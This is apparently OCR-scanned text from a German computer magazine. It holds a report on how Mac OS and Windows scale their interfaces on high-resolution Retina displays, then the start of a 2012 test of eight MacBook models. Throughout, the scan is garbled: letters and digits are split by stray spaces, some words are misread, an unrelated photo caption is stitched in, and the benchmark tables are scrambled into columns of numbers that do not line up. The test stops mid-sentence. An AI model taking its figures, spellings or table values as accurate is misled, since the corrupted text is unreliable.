Augen a l le in n icht reichen, sondern man braucht die U nterstützung des 
Betriebssystems und a l ler Anwend ungen.  Mac OS und Windows gehen 
dabei unterschiedl iche Wege, gerade im Umgang mit externen Mon itoren 
und beim Bändigen unwi l l iger Prog ra mme. 

Während Computer-Mon itore u ngefä h r  
e i n e  Pixe ld ichte von 1 00 dp i  haben,  

g ibt es bei  Notebocks schon lange B i ldsch i r­
me mit höheren Pixe ld ichten. So hatten d ie 
1 5-Zoi i-Panels  mit 1 600 x 1 200 Punkten 1 33 
dpi ,  1 920 x 1 200 Punkte a uf 1 5,4 Zo l l  s i nd  
1 47 dpi  und 1 920 x 1 080 auf 1 5 ,6  Zo l l  s ind 
1 4 1 dpi  [ 1 ] .  Da man näher am Notebock-Dis­
play sitzt als am Mon itor, kommen d ie meis­
ten Anwender m it rund 1 20 dpi ,  einige sogar  
b i s  1 40 oder 1 60 dp i  noch  gut zu recht. 

Das MacBook-Display mit 220 dpi i st ohne 
weitere Unterstützung des Betriebssystems 
a l lerd ings  u n brauchbar  - u nter per Boo 
Camp insta l l iertem Windows kann  man s ich 
einen E indruck davon verschaffen, wie klein 
a l les wird: Scha ltflächen trifft man kaum,  
Sch riften s ind quas i  nu r  m it dem Kopf über 
der Tastatur lesbar. Die URL-Zei le  des I nter­
net Explorer i st beispie lsweise nu r  2,5 M i l l i ­
meter hoch. 

Unter Mac OS sind a l l e  Bed iene lemente 
dagegen erst e inma l  genauso g roß sind wie 
auf e inem Notebock mit 1 440 x 900 Punk­
ten, nu r  schä rfer. 

Opt imal  s ind beide Lösungen n icht. Wün­
schenswert wäre beispie l sweise, d ie  v ie len 
P ixel  fü r zusätz l iche I nformationen zu n ut­
zen.  Kleinere Menüs und Einste l l regler lassen 
i n  der B i ldbearbeitung mehr P latz fü r das 
Foto, P rog rammierer freuen s ich über jede 
zusätzl iche Textzei le, i n  Strateg iespielen ge­
winnt man wertvol le  Übersicht. 

Mac OS 

Apple nutzt zur Bewä ltigung der hohen Auf­
lösung e inen Trick und  u nterscheidet zwi­
schen den physischen D isp lay-Pixe ln  und  
den  v i rtue l len Betr iebssystem-Pixe ln .  A l le  
herkömml ichen Anwendungen g lauben, auf  
e inem 1 440 x 900 Pixel g roßen Display zu a r­
beiten. I h re Ausgabe wird von Mac OS hoch­
ska l iert, was zu einer u nscharfen,  g roben 
Da rste l lung füh rt. Das betrifft auch die meis­
ten Dialogfenster der Anwend ungen, ledig­
l ich das Menü ist scharf. 

Obwohl d ie ska l ierte Darste l l ung u ngefäh r  
dem entsprechen sol lte, was  man auf e inem 
1 00-dpi-Mon itor sowieso nu r  s ieht, wi rkt s ie 
etwas schlechter, gerade im Verg leich zu den 
knackscharfen Bere ichen der Reti na-ange­
passten Elemente. Bei Schriften und Grafiken 
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fä l lt das stä rker auf, bei Fotos weniger .  Fü r  
gelegentl ich genutzte Prog ramme reicht das 
a l lemal ,  und auch a l s  Notlösung, b is d ie Lieb­
l i ngsanwendungen u mgeste l l t  s ind .  

Wenn  e ine Anwendung spezie l l  an  das Re­
t ina-Display angepasst ist, kann  sie d ie  vol le  
Auflösung n utzen und  beisp ie lsweise i n  
e inem 1 0 0  x 1 00 v i rtue l le  Pixel  g roßen Be­
reich e ine 200 x 200 echte Pixel g roße Bit­
map a nzeigen lassen.  Ähn l ich  fun ktion iert 
das auch auf dem i Pad.  Angepasste Anwen­
d ungen lassen s ich m it einem Haken bei ., l n  
n ied r iger Auflösung öffnen" i m  Infod ia log 
(Rechtskl i ck  auf  d ie  Anwendung  i m  Pro­
g rammverzeichn is) in der häss l ichen ska l ier­
ten Form starten. Anders herum ist es n icht 
vorgesehen, e ine unangepasste Anwendung 
klei ner, a lso auf d ie physischen Pixel abgebi l ­
det, darzustel len .  

Derzeit s ind a u ßer  Apples e igenen An­
wendungen wie Ma i l ,  Safa ri ,  i life, Apertu re 

· und F ina l  Cut nu r  wenige angepasst; Twitter­
rific gehört beispie lsweise dazu, Goog le hat 
m it der Anpassung von Chrome begonnen.  
Adobes Lig htroom kann  e in  b isschen Ret ina :  
Sch riften erscheinen scha rf, jedoch s ind d ie 
Reg ler  und vor a l lem auch d ie  Fotos nur  ska­
l ie rt zu sehen.  Das Schwergewicht Photo­
shop ist gar n icht angepasst und ska l iert B i l ­
der und das gesamte Benutzer- I nterface. 

Rechentrick 

· Zum Verkle inern der  Bed iene lemente, a lso 
zum Schaffen von mehr P latz fü r d ie Anwen­
d ungen, g reift Apple zu einem zweiten Trick: 

I I I I I I 
I I I I 

: I I I I I 
I I I I 

: I I I I 
I I I I I 
I I I I 
I I I I I 
I I I I 

I I I I I I 
So sehen vier rote Linien mit zwei 
virtuellen Pixeln Breite auf weißem 
Grund in der i 680er-Darstel lung aus: 
ein oder zwei echte Pixel breit mit 
Schattierungen mal rechts, mal l inks. 

I 
I 

I I 
I 
I 
I 
I 
I 
I 
I 

l n  den Systemeinstei l u ngen ka nn  man 
neben der  Reti na-opt imierten Da rste l l ung  
a uch andere Auflösungen e inste l len, darun­
ter 1 680 x 1 050 und  1 920 x 1 200. Das Dis­
p lay w i rd a l lerd i ngs  weiter i n  der  nativen 
Auflösung angesprochen.  

Der B i ldaufbau fi ndet mit  der  g leichen 
Pixelverdoppel ung  wie oben besch rieben 
statt und der  fert ige gerenderte Desktop 
wi rd ansch l ießend auf  die echten 2880 x 
1 800 Pixel ska l iert. l n  der 1 920er-E inste l l ung 
rendert Mac OS a lso e in  B i ld  m it 3840 x 2400 
Punkten und ska l ie rt das dann  um den Fak­
tor 0,75 herunter. Die dadurch zwangsläufig 
entstehenden Unschärfen sieht man nu r  bei 
genauem H i nsehen oder wen n  man weiß, 
dass  e inze lne  P ixe l stru kturen s ichtba r sein 
müssten .  Sch lechter s ieht es i n  der 1 680er­
Da rste l l ung  aus, wei l  d ie  3360 x 2 1 00 Pixel 
m it einem ungünstigeren Faktor von 0,85 7 1 4  
u mzurechnen s ind .  

Be ides  fü h rt zu verkle inerten Bed ienele­
menten. Beisp ie lsweise rendert Mac OS d ie 
Safa ri-Ad resszei le  im  Verdoppe lu ngsmodus 
mit  40 Pixeln Höhe, was i n  der 1 440er-Dar­
ste l l ung  4,6 M i l l imeter entspr icht.  ln der 
1 680er-Darste l l ung werden daraus  34 Pixel, 
4 mm; in 1 920 ist die Zei le dann  30 Pixel 
oder 3,5 M i l l imeter hoch. 

Den n icht ans  Ret ina-Display angepassten 
Anwendu n gen sehen in der 1 680- und vor 
a l lem 1 920er-E inste l l ung  besser aus als u nter 
1 440, wei l  die pixel ige Stru ktur  wieder etwas 
klei ner gerechnet wird. 

Dieser Modus  füh rt aber  auch dazu, dass 
e ine Anwendung d ie Disp laypixel n icht mehr 
gezielt e i nze ln  ansteuern ka nn .  ln e inem 
1 000 P ixe l  breiten Bere ich ka nn  s ie genau 
2000 P ixe l  ab laden, ohne Ei nfl uss darauf, ob 
Mac OS das  dann  zu 2000, 1 7 1 4  oder 1 500 
echten P ixe ln ska l iert. Wie scharf beispie ls­
weise Fotos ( in 1 00-Prozent-Ska l ierung) s ind, 
l ässt s ich dann i n  der  1 680er- und 1 920er­
E inste l l ung  n icht mehr  so präzise beurtei len 
wie i n  1 440. l n  den meisten Fä l len hat man 
es a ber sowieso schon m it ska l iertem Aus­
gangsmateria l  zu tun ,  und zum pixelgenau­
en Bearbeiten muss man eh so weit zoomen, 
dass d ie U nschärfen n icht a uffa l len .  Screen­
shots (Cmd+Umsch+3) speichert Mac OS üb­
r igens vor dem Runterrech nen in vol ler  Auf­
lösung .  

D iese Pixelverdoppe lung  g i l t  n icht sys­
temweit, sondern n u r  fü r das Reti na-Display. 
Sch l ießt man e inen externen Mon itor an ,  
entsteht das B i ld  wie bisher d i rekt in  der na­
t iven Auflösu ng .  D ie Safa ri-Ad ressze i le  i st  
dann  20 P ixe l  hoch, was auf Mon itoren mit 
1 00 dp i  5 mm s ind.  

Windows 

Windows entkoppelt d ie  D isp layauflösung 
und d ie Größe der Bed ienelemente. Das Dis­
play sol lte man immer mit der vol len Auflö­
sung ansteuern, a l les andere wirkt auch beim 
Ret ina-Disp lay u nscha rf. Wie g roß Symbole, 
Menüsch riften und  Ähn l iches se in so l len, 
r ichtet s ich nach einer g lobalen Ska l ierung.  
Die steht d i rekt nach der I nsta l lation auf 1 00 
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Report I Hochauflösende Displays 

Apple rendert 
sogar ein Fenster 
auf zwei Weisen, 
wenn es über 
externen Monitor 
(rechts) und Retina­
Display ( l inks) ragt. 

First Full  Photo of Eart - _ .... . - ·  

Above the North Pole 
Michael Zhang · Jun 20, 2012 'JI' T- \208] +1 

Prozent (96 d pi) ,  was zu ka u m  lesbaren 
Sch riften füh rt - u mzuscha lten ist das u nter 
Systemsteuerung/ Anzeige. 1 2S und 1 SO Pro­
zent kann man dort d i rekt wählen,  l i nks fi n­
det man auch einen Menüpunkt zum E instel­
len bel iebiger Werte samt Anzeige der zuge­
hörigen dpi-Werte. Al lzu krumme oder hohe 
Werte füh ren zu unschönen Effekten wie pi­
xel igen Mauszeigern. Auf dem Apple-Display 
l iefern 1 SO oder 1 7S Prozent g ute Ergebnis­
se, bei scha rfen Augen auch 1 2S.  

Diese E inste l l ung  ist a l le rd ings  nur e in 
Mu l t ip l i kator - Windows se l bst wertet i h n  
beim Zeichnen von Systemelementen wie 
Scro l lba lken a us, doch d ie  meisten Anwen­
dungen ignorieren ihn ei nfach.  

Seit  Windows 7 g reift das Betriebssystem 
a l lerd ings  ein, wenn  es g l aubt, eine Anwen­
dung ignoriere den Faktor. Windows ska l ie rt 
s ie dann ink lus ive Menü und a l le r  E lemente 
selbst hoch. Das Ergebnis ist wie u nter Mac 
OS brauchbar, aber sch lechter als auf e inem 
Monitor mit  e iner  verg le ichbaren nativen 
Auflösung.  Viele Tools  und Prog ramme wer­
den ska l iert da rgeste l lt, daru nter auch  d ie  
Browser Chrome und Safar i .  

Das Ska l ieren l ässt s ich fü r jede Anwen­
dung e inzeln ausscha lten, und  zwar i n  den 
Eigenschaften des Sta rt- lcons auf der Reg is­
terseite Kompatib i l ität u nter "Ska l ierung bei 
hohem DPI-Wert deaktivieren". Das lässt s ich 
auch g loba l  ausscha lten, dazu muss man 
beim Ei nste l len des d pi-Werts im  Fenster fü r 
d ie benutzerdefi n ierte Textg röße den Haken 
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beim XP-St i l  setzen.  Die meisten Anwendun­
gen s ind dann aber n icht g ut bed ien bar, wei l  
a l l e  E lemente zu k le in s ind .  

D ie Sch riften-Ka nteng lättu ng C learType 
sol lte man ü br igens e ingescha ltet lassen, 
denn s ie füh rt selbst beim 220-dpi-Display zu 
besseren Ergebnissen; ohne ClearType wi rkt 
besonders d ie Systemsch rift dü rr. 

Weitere E inste l l ungen kan n  man in der  
Systemsteuerung u nter Anpassung vorneh­
men, dort u nten auf Fensterfarbe kl icken und 
dann  auf erweiterte Da rste l l u ngse inste l l un­
gen .  H ier  lassen s ich verschiedene Sch rift­
a rten in Form und Größe ä ndern, aber auch 
d ie Breite der Scro l lba lken, d ie Abstände von 
lcons und vieles mehr. Manche Anwendun­
gen nutzen d iese E inste l l ungen a l lerd ings  an  
ü berraschender Ste l l e, be isp ie lsweise ma l t  
Thunderb i rd a l l e  Ma i i -L isten i n  der  Dia log­
feld-Sch riftart. 

Anwendungen 

Kau m  e ine Anwendung ska l i e rt s ich völ l i g  
feh le rfrei korrekt hoch .  M ic rosoft selbst 
macht beispie lsweise beim I nternet Explorer 
fast a l les r icht ig ,  belässt aber d ie  Breite des 
Seiten reiters immer  auf 200 Pixel .  So passt 
immer weniger Text h inein,  mit 1 00 dpi bei­
spie lsweise "heise on l ine I IT-News, c't, i . . .  ", 
mit 1 SO dp i  noch "heise on l i ne  I IT- . . .  " und 
m it 200 dp i  n u r  noch "heise on . . .  " - obwohl ,  
reicht doch. Libre Office hat u nter Extras/Op­
t ionen/LibreOffice/ Ans icht e inen e igenen 
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• 
ln der 1 440er-Einstel lung zeigt Safari eine 960 HTML-Pixel breite I nternetseite 
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Unter Windows stel len die Browser die Website mit 960 Pixeln auf 1 1 0 Mi l l imeter ( l inks im Internet Explorer) 
dar. Per Strg+Pius kann  man sie vergrößern (rechts in  Chrome), n icht aber die Bedienelemente. 

Lightroom unter Windows zeigt Fotos knackscharf, die Paletten kann man aber nur zwischen sehr klein 
und unbrauchbar klein umstel len. Unter Mac OS sind die Paletten breiter, die Fotos aber unscharf. 
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fr Eigenschaften von Google Chrome 1131 
Sicherheit Detals Voraanoerversionen 

_AJigemein .L Verl<nOpfu(lg , ..:1 Kompatibilitat 

Falls dieses Programm Probleme verursacht, wahlen Sie den 
Kompatibilitatsmodus, der mit der frtlheren WindO'HS- Version 
übereinstimmt, unter der das Programm richtig funktionierte. 

Hilfe beim Auswählen der Einstellungen 
Kompatib�itatsmodus 

LJB:�ramm 1m Komj2atibititatsmodus ausfuhren toB 
'W1ndows vp (Service Pack 3) � 

Einstellungen 

[3 Mit 256 Farben austohren 

rJ ln B1ldscturmaufiösung 640 x 480 ausfUhren 

[J Visuelle Designs deaktMeren 

[J Desktopgestaltung dealctMeren 

['J Sk.alierung bei hohem OPI-Wert deaktMeren 

Bered"ltigungssMe 

[J Programm als Administrator ausfUhren 

I. & ElnstelkJngen fOr alle Benutzer andem I 
. I OK I I Abbredlen J Ut!em.:.hmen 

- - . 

Ska l ierungsfaktor fü r das  gesamte Office­
Paket, verg isst a ber einzelne (zum Glück un­
wichtige) E lemente wie d ie Tabel lenreiter im  
Calc-Modu l .  

Wenn  e ine  Anwendung s i ch  komisch ver­
hä lt, lohnt es s ich, wie oben besch rieben m it 
den Windows-Sch riftgrößen zu exper imen­
tieren. Beispielsweise r ichtet s ich F i refox fü r 
die Größe von Adresszei le und Tab-Titel nach 
der Dia logsch rift Ch rome n i m mt d iese 
Sch riftart fü r den Tab-Titel ,  zeich net dann  
aber den  Schl ießen-Knopf fa lsch.  

Vie le Anwendungen haben i nterne Zoom­
Mög l ichkeiten .  Die beziehen sich a l le rd ings  
im Al lgemeinen nu r  a uf d ie I n ha lte, wäh rend 
d ie Bed iene lemente k le in b le iben .  So kön­
nen a l le  Browser und viele Ed itoren und Of­
fice-Prog ramme m it Strg+P ius  und  
Strg+Minus  Webseiten, Texte und  Tabel len 
vergrößern und verkle inern.  

Die meisten Anwendungen merken s ich 
das auch beim nächsten Start. F i refox vergisst 
den Zoom-Level ,  was aber das Add-on 
Defau l t  Fu i iZoom Level behebt. l n  Ch rome 
kann man sowohl  die standardmäßige Zoom­
stufe e instel len (verg rößert oder verkle inert 
d ie gesamte Website samt B i ldern) a l s  auch 
d ie Sch riftgröße ändern (ska l ie rt d ie B i lder  
n icht, verändert a lso d ie Anmutung des Lay­
outs), doch wir haben keine Mögl ichkeit ge­
funden, die Adresszei le zu vergrößern. 

E in ige Anwendungen lassen s ich aber m it 
keinem der Tricks i n  den Griff bekommen.  So 
ignoriert Lightroom sämtl iche E inste l l u ngen 
und bietet fü r d ie  seit l i chen E lemente n u r  
zwei Schriftg rößen an - klein und u nbrauch­
bar k le in .  So lassen s ich d ie  Sch riften kau m  
entziffern u n d  d i e  Reg ler kau m  m i t  d e r  Maus 
treffen. 

Fazit 

Die beiden Betriebssysteme verfolgen unter­
sch ied l iche Strateg ien .  Mac OS n i m mt den 
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Die Systemschrift (hier unter anderem 
die Einstel lungen zum Ausscha lten 
des Ska l ierens einer Anwendung) 
wird ohne ClearType dürr gerendert. 

Prog rammierern viel Arbeit ab. E ine sau bere 
Ska l ie rung a l le r  Anwendu ngen bekommt 
man  a l lerd i ngs  nur  im  Reti na-optim ie rten 
Modus von 1 440 x 900 Pixel .  Dann hat man 
a ber ganz schön g roße Schr ifta rten - e in  
Rücksch ritt gegenü ber den MacBook-Va rian­
ten mit  1 680 x 1 050 Pixel n .  Fans von vie l  
Desktop-Platz, d ie  24- oder 27-Zoi i-Mon itore 
gewöhnt s i nd,  d ü rften zur  1 680er- oder 
1 920er-E inste l l ung  tendieren (und vie l le icht 
e ine weitere Stufe wie 2400 x 1 500 vermis­
sen), aber dann ska l ieren selbst Reti na-ange­
passte Anwend u ngen leicht u nsau ber. Im­
merh in  funktioniert das dank 220 dp i  gut, so­
dass es n u r  fü r Anwender mit  besonders 
g uten Augen e in  mehr als theoreti scher 
Nachtei l  ist. 

Windows kü mmert sich nu r  um die Ska l ie­
rung der Systemelemente und ver lagert viel 
Log i k  i n  d ie Anwendu ngen. S ie müssen s ich 
u m  vie l  mehr küm mern, was offens icht l ich 
nur  wen ige Prog rammierer getan haben.  
Vorte i le s ind,  dass d ie Anwendungen immer 
Zugriff auf d ie vol le  Displayauflösung haben 
und dass man d ie  Da rste l l ung  der  meisten 
n icht angepassten Anwendungen zwischen 
scharf oder hochska l iert umscha lten kann . l n  
d e r  Praxis wäh l t  m a n  j e  nach Geschmack 
1 25,  1 50 oder 1 75 dp i  und  passt  vie l le icht 
noch e in  paar Schr ift- und E lementgrößen 
an .  Dan n  ü berprüft man jede Anwendung 
e inze ln da rauf, ob s ie der  Windows-Ska l ie­
rung u nterzogen wi rd, ob sie ohne besser 
a ussieht und welche weiteren E inste l l ungen 
man fi ndet. Und sel bst dann zeigen' e in ige 
Anwendungen wie Lightroom trotz a l ler Be­
mühungen u nveränderbar k le ine Bed ienele­
mente. 

Den Mischbetrieb mit externen Mon itoren 
beherrscht Mac OS besser als Windows, weil 
dort a l les so aussieht wie immer, ohne jede 
Ska l ierung .  Windows zeigt extern dagegen 
auch a l les mit dem Ska l ierungsfaktor verg rö­
ßert an ,  mehr  a l s  1 25 Prozent wi rken a l s  
P latzverschwendung .  

Die hohe Display-Auflösung lohnt s ich  üb­
r igens u nter beiden Systemen:  Auch wen n  
d a s  Ergebn i s  noch n icht perfekt i st, erhä lt 
man auf  dem Apple-Disp lay e ine bessere 
und  schärfere Da rste l l ung  a l s  auf  Fu i i -HD­
Disp lays d ieser Größe. Die gefüh lte Arbeits­
fläche entspr icht eher der e ines 27-Zö l lers. 
Die Schärfe wi rkt schne l l  natür l ich,  und a l les 
u nter 1 60 dp i  empfindet man dann als g rob­
pixe l ig .  Qow) 

Literatur 

[ 1 ]  Jörg Wirtgen, Schärfer u nterwegs, Notebooks 
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Prüfstand I MacBooks 

Johannes Schuster 

MacBook-Parade 
Acht Apple-Notebooks der neuen Generation 

Neben d e m  brand neuen Retina-MacBock h a t  A p p l e  auch ü berarbeitete 
Versionen sämtlicher anderer Notebock-Modelle vorgestel lt - ebenfa l l s  
m i t  lvy-Bridge-Arch itektur und USB 3.0. 

O b MacBock Pro oder Mac­
Bock Air: Seit dem 1 1 .  J un i  

g ibt e s  a l l e  Mobi l rechner von 
Apple i n  neuen Konfigurationen 
mit sch ne l leren Prozessoren, 
neuen Grafikch ips und erstma l s  
USB 3.0. D ie  Preise s ind  dabei in  
den USA g le ich  gebl ieben,  bei 
uns aufgrund des momentan 
sch lechteren Dol la rku rses etwas 
gestiegen. Das 1 7-Zoi i -MacBook 
wurde eingestel lt. 

88 

Äußer l ich haben s ich d ie  
Geräte kau m  verändert, nur  d ie  
USB-3.0-Buchsen m it mehr  Kon­
takten sehen e in  k le in  wen ig  
anders aus .  Be im MacBock A i r  
sch rum pfte obendre in der  
Stromanschluss wie beim Retina­
Model l  u m  etwa 1 ,5 M i l l imeter in 
der Höhe; er  hört jetzt auf  den 
Namen MagSafe 2. Alte Netztei le  
und neue Buchsen verbindet e in  
10  Euro teurer Adapter. 

Im I nneren a l ler  MacBocks 
kommen jetzt lvy-Br idge-Prozes­
soren und Serie-7-Ch ipsätze zum 
E insatz. Erstere fertigt I ntel i n  22-
statt 32-Nanometer-Prozess, so­
dass s ie kompakter ausfa l len und 
wen iger  Energ ie  verbrauchen .  
Gegenüber  der  Sandy-Br idge­
Generat ion hat I ntel  zudem die 
Tu rbo-Boost-Funkt ion verbes­
sert. Dabei kan n  ein Tei l  der  
Kerne u m  800 b is  1 000 M Hz 

höher  takten .  Bei den Quad­
eores i n  den 1 5-Zoi i-Mode l len  
laufen n u n  zwei Kerne statt nur  
e inem m it vol ler  Tu rbo-Frequenz 
(s iehe Tabel le) .  

Von der  Tu rbo-Funktion pro­
fit ieren im Pr inz ip jene Prog ram­
me, d ie  noch n icht oder u nvol l ­
ständ ig  a n  das  M u lt i-Th read ing 
angepasst wurden .  Von den 1 00 
b i s  200 MHz höheren Bas ista k­
traten hat jedwede Softwa re 
etwas. ln u n seren Benchma rks 
legten d u rch die neue Arch itek­
tu r  d ie  Leistungen bei CPU- Iasti­
gen Aufgaben prozentua l deut­
l i ch  stä rker zu a l s  d ie  Gigahertz­
Za h len .  E i n  Be isp ie l :  Das Mac­
Bock A i r  1 1 " m it 1 ,7 GHz a rbeitet 
um 1 00 Mhz schne l ler, das s ind 
6 ,25 Prozent. Die Leistungen bei 
C i nebench 1 1 , iTu nes und  
Qu ickTi me st iegen a ber  u m  
r u n d  25 P rozent. 

Die Ai r-MacBocks haben auch 
bei p latten last igen Aufgaben 
kräft ig . zu legen kön nen, etwa 
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Prüfstand I MacBooks 

beim Umkodieren von F i lmen 
mit DVD20ne. Die jetzt verwen­
deten SATA-6G-SSDs l i efern 
beim Lesen deutl ich über 500 
MByte/s und schre iben bis zu 
470 MByte/s. Die SATA- 1 1 -Vor­
gänger schafften nu r  die Hä lfte. 

Den (nicht erweiterbaren) Ar­
beitsspeicher hat Apple bei a l len 
Ai r-Model len a uf mindestens 
4 Gigabyte verg rößert - d ie man 
auch braucht. Die jewei l s  teu re­
ren Va rianten der Pro-Bau re ihen 
mit 1 3- und 1 5-Zoi i -Display br in­
gen nun 8 statt 4 GByte RAM m it. 
Übera l l  kommen statt DDR-
1 333- jetzt DDR3-1 600-Modu le  
zum E insatz. 

Grafik 

Die zweite g roße Neuerung von 
lvy Bridge ist die auf dem Prozes­
sor-Die i nteg rierte Grafi k I ntel 
HD  4000. Gegenüber der H D  
3000 mit 1 2  verfügt s i e  über 
16 Execution U n its zur  3D-Be­
schleun igung .  Als B i ldspeicher 
wird ein Tei l  des Hauptspeichers 
abgezwackt: Bei 8 GByte RAM 
sind es 5 1 2  MByte, ansonsten 
384. Im  MacBook Pro 1 3 " und 
den Air-Model len erbrachte d ie  
neue Prozessorg rafi k e ine Stei­
gerung um bis  zu 50 Prozent 
und kann nun  a l lmäh l ich mit der 
Nvidia-Ch ipsatzgrafi k vergange­
ner Tage mitha lten. Mit i h r  s ind 
auch ha lbwegs anspruchsvol l e  
Spiele w ie  D i rt I I  und Sta reraft I I  
fl üss ig sp ie lbar, wen n  man d ie  
Auflösung oder  d ie Deta i l s  redu­
ziert. 

Beim MacBook Pro 1 5" wech­
selt das Betriebssystem zwischen 
der I ntel- und der  zusätzl ichen 
dedizierten Grafi k h in und  her, 
sofern man die Automati k n icht 
i n  der Systemeinstel l ung  Moni­
tor abscha ltet. Apple hat den 

Praxis-Benchmarks 

MacBook Air 1 1 "  1 ,6 GHz (201 1 )  
MacBook Air 1 1 "  1 , 7  GHz (2012) - 2,41 
Macßook Air 1 3" 1 ,7 GHz (201 1 )  -2,1 5 
Macßook Air" 1 ,8 GHz (2012) -2.61 
Macßook Pro 13" 2,4 GHz (Spät 201 1 )  -2.67 
Macßook Pro 13" 2,5 GHz (2012) -2.89 
Macßook Pro 13" 2,8 GHz (Spät 201 1 )  -3.07 
MacBook Pro 13" 2,9 GHz (2012) -3.38 

GPU-Lieferanten AMD gegen 
Nvid ia getauscht und  s ich den 
nage lneuen GeForce GT 650M 
ges ichert. Den B i ldspeicher be­
l ieß  das U nternehmen je nach 
Model l  be i  5 1 2  oder 1 024 MByte. 

So ganz ausgereift scheinen 
die OS-X-Grafiktrei ber noch n icht 
zu sein, denn bei e in igen Aufga­
ben wie Cinebenchs OpenGL­
Test schafften d ie Nvidia-Ch ips 
nicht e inmal  das Ergebnis  der ei­
gentl ich langsameren AMD-Vor­
gänger. Bei Spielen wie Stareraft 
II und Quake Wars erreichten sie 
h i ngegen einen erkennba ren 
Vorsprung. 

Lüfter und Akku 

Mögen d ie neuen Ch ips energie­
sparend se in - d ie  höhere Tak­
tung und  zusätzl iche G rafike in­
heiten treiben d ie  H itzeentwick­
l ung bei Belastung doch wieder 
nach oben. I m  Vol l l a stbetrieb 
blasen d ie Lüfter kräftig, beson­
ders bei sta rker GPU-Beanspru-

- 14,98 -47 
. ,0,1 9 - 49 
-17,41 - 44 
- 12,00 -42 
- 16,81 -40 
- 11 ,88 -36 
-19,55 -35 

MacBook Pro 15" 2,2 GHz (Spät 201 1 )  - 5.16 -38,65 -40 
MacBook Pro 15" 2,3 GHz (2012) - 6.24 -34,62 -36 
Macßook Pro 15" 2,4 GHz (Spät 201 1 )  -5.58 42,59 -34 
MacBook Pro 15" 2,6 GHz (2012) 6,79 -37,09 -33 
MacBook Pro 15" 2,6 GHz Retina -6,49 -37,61 - 32 

90 

Die Pro-MacBooks mit 1 5- und 1 3-Zoi i­
Display blieben äußerlich fast unverändert. 

Den 1 7-Zöller wird es nicht mehr geben. 

chung ,  etwa 3D-Render ing i n  
Cinebench oder Spiele w i e  D i rt I I .  
Apple h a t  a l lerd ings  d a s  Lüfter­
ma nagement verbessert: D ie 
Drehzah l  steigt n icht so plötz l ich 
a n  wie bei den Vorgängern, son­
dern a l lmäh l i ch .  Das Ergebnis 
b le ibt jedoch laut  und  unange­
nehm.  Bei normaler  Last s ind  
sämt l iche MacBooks jedoch 
n icht zu hören. 

Die Laufzeiten der Akkus 
haben sich ebenso wie deren Ka­
pazitäten kau m  verändert. Mit 
sta rk ged immter He l l igkeit von 
1 00 cd/m2 und leichter Last h ielt 
das MacBook Air 1 3" m it 1 0,5 
Stu nden am längsten du rch, das 
MacBook Pro 1 5" folgte mit rund 
1 0  Stunden.  Dicht auf lag das 
MacBook Pro 1 3" mit über 9 Stun­
den.  Beim kle inen MacBook A i r  
machte der Akku bereits nach 
weniger a ls  8 Stunden schlapp. 

U nter Windows 7 d rehten wie 
gehabt d ie Lüfter früher auf und 
wurden lauter. Ansonsten fun k­
t ionierte a l les wie gewohnt, e in-

-69 -23 - 186 

sch l ieß l i ch  der hakel igen Track­
pad-Ansteuerung.  

Displays 

Die Displays hat Apple nicht ver­
ändert. Beim MacBook Air  1 1 "  fie l  
uns  e in  Kontrastabfa l l  be im Bl ick 
von u nten auf, auch d ie Farben 
zeigten sich nicht ganz so winkel­
unabhängig wie bei den anderen 
sechs Kandidaten mit TN-Panel  
(das h ier  n icht angesprochene 
Reti na-Disp lay arbeitet mit ! PS­
Techn ik) .  Das MacBook Air 1 3" 
wies d ie geri ngste Winkelabhän­
g igkeit beim Kontrast auf, die 
Farben bl ieben bei a l len 1 3- und 
1 5-Zöl lern bei seit l ichem Bl ick 
recht stab i l .  D ie Pro-Mode l le  
taten s ich darüber h inaus mit sat­
ten Farben hervor, das Glas spie­
gelte aber seh r. Dem MacBook 
Air feh l t  die Scheibe und d ie 
G lossy-Disp lays s ind sta rk ent­
spiegelt .  Dies füh rte jedoch bei 
manchen B l ickwin ke ln zu einem 
violetten Schimmer. 

XGA) [fps) 

-2697 -96 
-72 -27 -210 -2755 - 65 
-63 -22 - 173 -2508 -93 
-66 -27 -238 -2393 -76 
- 59 -22 -227 -2594 - 101 
- 59 -23 -207 -21 1 1  -80 
-51 - 20 -211 - 1949 - 120 
- so -25 - 187 -2355 - 174 
-43 -24 _ ,99 -2112 - 185 
-45 -21 - 165 - 2099 196 
-39 _ ,9 - 174 - 1928 194 
-39 _ ,6 - 70' - 1945 200 
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USB 3 .0 

Lange mussten Apple-Kunden 
darauf warten, aber nun findet 
sich die Standardschnittstel le mit 
verzehnfachter Geschwind igkeit 
g leich in  a l len  Neu-Macs a u ßer 
dem halbherzig renovierten Mac 
Pro (den wir zum Test noch n icht 
bekommen kon nten) .  Da d ie 
Buchsen auf Rechner-Seite vol l  
kompatibel z u m  2.0-Standard 
s ind und d ie 3.0-Spezifi kation 
auch den Betrieb von ä lteren Ge­
räten vors ieht, g ibt es keine 
Nachtei le: B i sher  verwendete 
Mäuse, Tastaturen, Sticks und 
Festplatten l iefen im  Test pro­
blemlos an den neuen MacBooks. 

Um die maximale Geschwin­
digkeit auszu loten, besorgten wir 
uns  das schne l l ste USB-3.0-Ge­
häuse aus dem letzten Ratgeber 
i n  c't 1 3/1 2, das S i lverstone SST­
RVS02, und betrieben dar in  ver­
schiedene SATA-6G-SSDs aus  
dem Test in  Mac  & i-Heft 6 .  Beim 
Schreiben war lntels SSD 520 mit 

MacBook Air mit 1 3- und 1 1 -Zoi i-Bi ld­
schirm beha lten die Displays, das neue lvy-Bridge­

lnnenleben und schnelle SSDs sorgen für mehr Dampf. 

234 MByte/s die schnel lste Platte, 
beim Lesen schaffte d ie  Crucia l  
M4 275 MByte/s. Da a m  PC die 
Ü bertragungsraten paradoxer­
weise noch etwas anstiegen, 
wenn man den Tiefsch laf mindes­
tens eines Prozessorkerns verh in­
derte, probierten wir  es anschl ie­
ßend noch e inma l  m it Messun­
gen, wäh rend Cinebench 1 0  mit 
e inem Kern renderte. Das Maxi­
mum lag nun lesend bei 308 
MByte/s und damit genau auf 
dem N iveau von PCs m it Win­
dows 8. Apple hat a lso die Treiber 
für USB 3.0 auf Anhieb auf vol le  
Geschwindigkeit optimiert. Trotz­
dem erreichten d ie  SSDs n icht 
i h re vol le  Geschwind igkeit wie 
a m  nativen SATA oder e inem 
Thu nderbolt-Gehäuse. Von d ieser 
Schn ittstel le  hat jedes getestete 
Gerät nach wie vor nur  eine Buch­
se und nicht wie das Retina-Mo­
dell deren zwei .  

Das Booten von e iner SSD im 
besagten USB-3.0-Gehäuse funk­
t ionierte n icht, obwohl  d ie Parti-

tion in der  Systemeinste l l ung  
.,Sta rtvol u me" a ngezeigt wurde 
